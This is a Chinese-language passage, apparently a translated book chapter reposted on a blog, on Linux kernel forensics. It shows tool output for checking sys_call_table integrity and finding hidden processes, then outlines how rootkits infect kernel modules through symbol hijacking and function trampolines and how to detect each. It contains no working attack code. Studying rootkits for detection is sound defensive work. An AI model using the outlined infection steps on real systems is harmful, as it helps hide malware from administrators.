# ./textify vmlinux /proc/kcore -s sys_call_table
kernel Detective 2014 - Bitlackeys.org
[+] Analyzing kernel code/data for symbol sys_call_table in range [0xffffffff81801460 - 0xffffffff81802570]
[+] No code modifications found for object named 'sys_call_table'

# ./textify vmlinux /proc/kcore -a
kernel Detective 2014 - Bitlackeys.org
[+] Analyzing kernel code of entire text segment. [0xffffffff81000000 - 0xffffffff81773da4]
[+] No code modifications have been detected within kernel memory

在上面的示例中,我们首先检查sys_call_table是否已被修改。在现代 Linux 系统上,sys_call_table被标记为只读,因此存储在文本段中,这就是为什么我们可以使用 textify 来验证其完整性。在下一个命令中,我们使用-a开关运行 textify,该开关扫描整个文本段中的每个字节,以查找非法修改。我们本可以直接运行-a,因为sys_call_table包含在-a中,但有时,按符号名称扫描东西也很好。

使用 taskverse 查看隐藏进程

在 Linux 内核中,有几种修改内核的方法,以便进程隐藏可以工作。由于本章不是要对所有内核 rootkit 进行详细解释,我只会介绍最常用的方法,然后提出一种检测方法,这种方法已经在我 2014 年发布的 taskverse 程序中实现。

在 Linux 中,进程 ID 存储为/proc文件系统中的目录;每个目录包含有关进程的大量信息。/bin/ps程序在/proc中进行目录列表,以查看系统上当前正在运行的 pid。Linux 中的目录列表(例如使用psls)使用sys_getdents64系统调用和filldir64内核函数。许多内核 rootkit 劫持其中一个这些函数(取决于内核版本),然后插入一些代码,跳过包含隐藏进程的d_name的目录条目。因此,/bin/ps程序无法找到内核 rootkit 认为在目录列表中跳过的进程。

Taskverse 技术

taskverse 程序是内核 Voodoo 软件包的一部分,但我发布了一个更基本的免费版本,只使用一种技术来检测隐藏进程;但是,这种技术仍然非常有用。正如我们刚才讨论的,rootkit 通常会隐藏/proc中的 pid 目录,以便sys_getdents64filldir64无法看到它们。用于查看这些进程的最直接和明显的方法是完全绕过/proc 目录,并在内核内存中的任务列表中查看由struct task_struct条目的链接列表表示的每个进程描述符。可以通过查找init_task符号找到列表指针的头部。有一定技能的程序员可以利用这些知识打开/proc/kcore并遍历任务列表。此代码的详细信息可以在项目本身中查看,该项目可以在我的 GitHub 个人资料上找到github.com/elfmaster/taskverse

感染的 LKMs-内核驱动程序

到目前为止,我们已经涵盖了内存中各种类型的内核 rootkit 感染,但我认为这一章节需要专门解释攻击者如何感染内核驱动程序,以及如何检测这些感染。

方法 1 感染 LKM 文件的方法-符号劫持

LKMs 是 ELF 对象。更具体地说,它们是ET_REL文件(目标文件)。由于它们实际上只是可重定位代码,因此感染它们的方式(如劫持函数)更有限。幸运的是,在加载 ELF 内核对象的过程中,会发生一些特定于内核的机制,即在 LKM 内重定位函数的过程,这使得感染它们变得非常容易。整个方法及其原因在这篇精彩的 phrack 论文中有详细描述:phrack.org/issues/68/11.html,但总体思路很简单:

  1. 将寄生虫代码注入或链接到内核模块中。

  2. 更改init_module()的符号值,使其具有与恶意替换函数相同的偏移/值。

这是攻击者在现代 Linux 系统(2.6 到 3.x 内核)上最常用的方法。还有另一种方法,其他地方没有具体描述,我会简要分享一下。

方法 2 感染 LKM 文件(函数劫持)

LKM 文件是可重定位代码,如前所述,因此非常容易添加代码,因为寄生虫可以用 C 编写,然后在链接之前编译为可重定位代码。在链接新的寄生虫代码之后,攻击者可以使用函数跳板简单地劫持 LKM 中的任何函数,就像本章节早期描述的那样。因此,攻击者用新函数替换目标函数的前几个字节。新函数然后将原始字节复制到旧函数中,然后调用它,并将跳板复制回原来的位置,以便下次调用钩子时使用。

注意

在较新的系统上,在对文本段进行补丁之前,必须禁用写保护位,例如使用memcpy()调用来实现函数跳板。

检测感染的 LKM

基于刚刚描述的两种简单检测方法,解决这个问题的方法似乎是显而易见的。对于符号劫持方法,您可以简单地查找具有相同值的两个符号。在 Phrack 文章中显示的示例中,init_module()函数被劫持,但该技术应该适用于攻击者想要劫持的任何函数。这是因为内核为每个函数处理重定位(尽管我尚未测试过这个理论):

$ objdump -t infected.lkm
00000040 g     F .text  0000001b evil
...
00000040 g     F .text  0000001b init_module

请注意,在前面的符号输出中,init_moduleevil具有相同的相对地址。这就是 Phrack 68 #11 中演示的感染 LKM。检测使用跳板劫持的函数也非常简单,并且已经在第 9.6.3 节中描述过,在那里我们讨论了在内核中检测跳板的方法。只需将相同的分析应用于 LKM 文件中的函数,可以使用诸如 objdump 之类的工具对其进行反汇编。

关于/dev/kmem 和/dev/mem 的注意事项

在过去,黑客可以使用/dev/kmem 设备文件修改内核。这个文件为程序员提供了一个对内核内存的原始入口,最终受到各种安全补丁的影响,并从许多发行版中删除。但是,一些发行版仍然可以从中读取,这可以成为检测内核恶意软件的强大工具,但只要/proc/kcore 可用即可。有关修补 Linux 内核的最佳工作之一是由 Silvio Cesare 构思的,可以在他 1998 年的早期著作中看到,并且可以在 vxheaven 或此链接中找到:

/dev/mem

有一些内核 rootkit 使用了/dev/mem,即由 Rebel 编写的 phalanx 和 phalanx2。这个设备也经历了一些安全补丁。目前,它在所有系统上都存在以实现向后兼容性,但只有前 1MB 的内存是可访问的,主要用于 X Windows 使用的传统工具。

FreeBSD /dev/kmem

在一些操作系统(如 FreeBSD)中,/dev/kmem 设备仍然可用,并且默认情况下是可写的。甚至还有一个专门设计用于访问它的 API,还有一本名为Writing BSD rootkits的书展示了它的能力。

K-ecfs – 内核 ECFS

在上一章中,我们讨论了ECFS扩展核心文件快照)技术。值得一提的是,在本章末尾,我已经为 kernel-ecfs 编写了一些代码,将 vmlinux 和/proc/kcore合并到一个 kernel-ecfs 文件中。结果实质上是一个类似于/proc/kcore 的文件,但它还具有段头和符号。通过这种方式,分析人员可以轻松访问内核、LKMs 和内核内存(如“vmalloc'd”内存)的任何部分。这些代码最终将公开可用。

内核-ecfs 文件的一瞥

在这里,我们展示了如何将/proc/kcore快照到一个名为kcore.img的文件中,并给出了一组 ELF 段头:

# ./kcore_ecfs kcore.img

# readelf -S kcore.img
here are 6 section headers, starting at offset 0x60404afc:

Section Headers:
  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
  [ 0]                   NULL             0000000000000000  00000000
       0000000000000000  0000000000000000           0     0     0
  [ 1] .note             NULL             0000000000000000  000000e8
       0000000000001a14  000000000000000c           0    48     0
  [ 2] .kernel           PROGBITS         ffffffff81000000  01001afc
       0000000001403000  0000000000000000 WAX       0     0     0
  [ 3] .bss              PROGBITS         ffffffff81e77000  00000000
       0000000000169000  0000000000000000  WA       0     0     0
  [ 4] .modules          PROGBITS         ffffffffa0000000  01404afc
       000000005f000000  0000000000000000 WAX       0     0     0
  [ 5] .shstrtab         STRTAB           0000000000000000  60404c7c
       0000000000000026  0000000000000000           0     0     0

# readelf -s kcore.img | grep sys_call_table
 34214: ffffffff81801460  4368 OBJECT 4 sys_call_table
 34379: ffffffff8180c5a0  2928 OBJECT 4 ia32_sys_call_table

内核黑客好东西

Linux 内核是关于取证分析和逆向工程的广泛主题。有许多令人兴奋的方法可以用于对内核进行仪器化,以进行黑客攻击、逆向和调试,Linux 为用户提供了许多进入这些领域的入口。我在本章中讨论了一些在研究中有用的文件和 API,但我也将列出一些可能对您的研究有帮助的小而简洁的清单。

一般逆向工程和调试

  • /proc/kcore

  • /proc/kallsyms

  • /boot/System.map

  • /dev/mem(已弃用)

  • /dev/kmem(已弃用)

  • GNU 调试器(与 kcore 一起使用)

高级内核黑客/调试接口

  • Kprobes

  • Ftrace

本章提到的论文

总结

在本书的最后一章中,我们走出了用户空间二进制文件,对内核中使用的 ELF 二进制文件类型进行了一般性的介绍,以及如何利用它们与 GDB 和/proc/kcore进行内存分析和取证目的。我们还解释了一些常见的 Linux 内核 rootkit 技术以及可以应用于检测它们的方法。这个小章节只是作为理解基础知识的主要资源,但我们列出了一些优秀的资源,以便您可以继续扩展您在这个领域的知识。

posted @ 2024-05-16 19:08  绝不原创的飞龙  阅读(20)  评论(0编辑  收藏  举报